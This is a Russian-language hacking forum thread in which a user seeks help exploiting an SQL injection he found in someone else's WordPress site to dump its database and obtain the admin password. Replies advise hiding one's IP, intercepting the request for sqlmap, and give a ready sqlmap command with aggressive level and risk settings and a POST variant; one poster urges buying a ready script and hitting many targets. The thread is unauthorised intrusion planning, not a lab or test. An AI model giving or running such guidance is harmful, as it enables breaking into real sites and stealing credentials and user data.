Как использовать уязвимость в SQLite

[utsy21]

оваспик нашёл такую хренотень но не вдупляю как правильно её использовать и выгрузить бд (я с этим не встречался) может есть спецы которые шарят? или хотя бы команду в sqlmap

 

[SouthCore]

Я рекламить не буду, купи готовый скрипт у goodmen и вопрос решен, не делай ставку на 1 таргет, делай на объем

 

[utsy21]

Я рекламить не буду, купи готовый скрипт у goodmen и вопрос решен, не делай ставку на 1 таргет, делай на объем

не буду я ничо покупать

 

[abcaz552]

Я рекламить не буду, купи готовый скрипт у goodmen и вопрос решен, не делай ставку на 1 таргет, делай на объем

Какой скрипт? О чем ты говоришь? Просто необходимо перехватить запрос и пробить его через sqlmap - request.txt формат или проверить сам урл.
utsy21 спряч свой ip и покалдуй с командами так как могут потребоваться дополнительные аргументы. И вообще это wp... панель администратора тестировал?

 

[SouthCore]

Какой скрипт? О чем ты говоришь? Просто необходимо перехватить запрос и пробить его через sqlmap - request.txt формат или проверить сам урл.
utsy21 спряч свой ip и покалдуй с командами так как могут потребоваться дополнительные аргументы

 

[SouthCore]

По итогу в чем вопрос?

utsy21 Что хочешь по итогу?​

 

[utsy21]

По итогу в чем вопрос?

utsy21 Что хочешь по итогу?​

пароль от админки используя sql инъекцию

 

[barklay]

Там же скуль иньекция. Самый простой вариант это скорми sqlmap

sqlmap -u "https://host/?post_type=provider*" --dbms MySQL --threads=10 --level=5 --risk=3 --dbs

вот тебе строка для запуска sqlmap, замени только хост на свой

судя по всему таймбейс, поэтому если не фальш позитив то может быть долго и возможно лучше будет убрать --threads=10

 

[abcaz552]

Там же скуль иньекция. Самый простой вариант это скорми sqlmap

sqlmap -u "https://host/?post_type=provider*" --dbms MySQL --threads=10 --level=5 --risk=3 --dbs

вот тебе строка для запуска sqlmap, замени только хост на свой

судя по всему таймбейс, поэтому если не фальш позитив то может быть долго и возможно лучше будет убрать --threads=10

Он с полной уверенностью говорит что это не работает. И через --data "a=1&b=2&c=3" -p "a,b" --method POST
также. Но когда я сказал ему что у его цели есть wp-login.php и оставил ему пример строки - он вообще исчез... Может уже там умывает дамп

 

[barklay]

Он с полной уверенностью говорит что это не работает. И через --data "a=1&b=2&c=3" -p "a,b" --method POST
также. Но когда я сказал ему что у его цели есть wp-login.php и оставил ему пример строки - он вообще исчез... Может уже там умывает дамп

Поддерживаю негодование в таком случае. Так же требую развязки

 

[utsy21]

Там же скуль иньекция. Самый простой вариант это скорми sqlmap

sqlmap -u "https://host/?post_type=provider*" --dbms MySQL --threads=10 --level=5 --risk=3 --dbs

вот тебе строка для запуска sqlmap, замени только хост на свой

судя по всему таймбейс, поэтому если не фальш позитив то может быть долго и возможно лучше будет убрать --threads=10

ща попробую

 

[utsy21]

Там же скуль иньекция. Самый простой вариант это скорми sqlmap

sqlmap -u "https://host/?post_type=provider*" --dbms MySQL --threads=10 --level=5 --risk=3 --dbs

вот тебе строка для запуска sqlmap, замени только хост на свой

судя по всему таймбейс, поэтому если не фальш позитив то может быть долго и возможно лучше будет убрать --threads=10

 

[babyysmoove]

Посмотреть вложение 55242

Identify WAF/IDS/IPS protection (switch --identify-waf)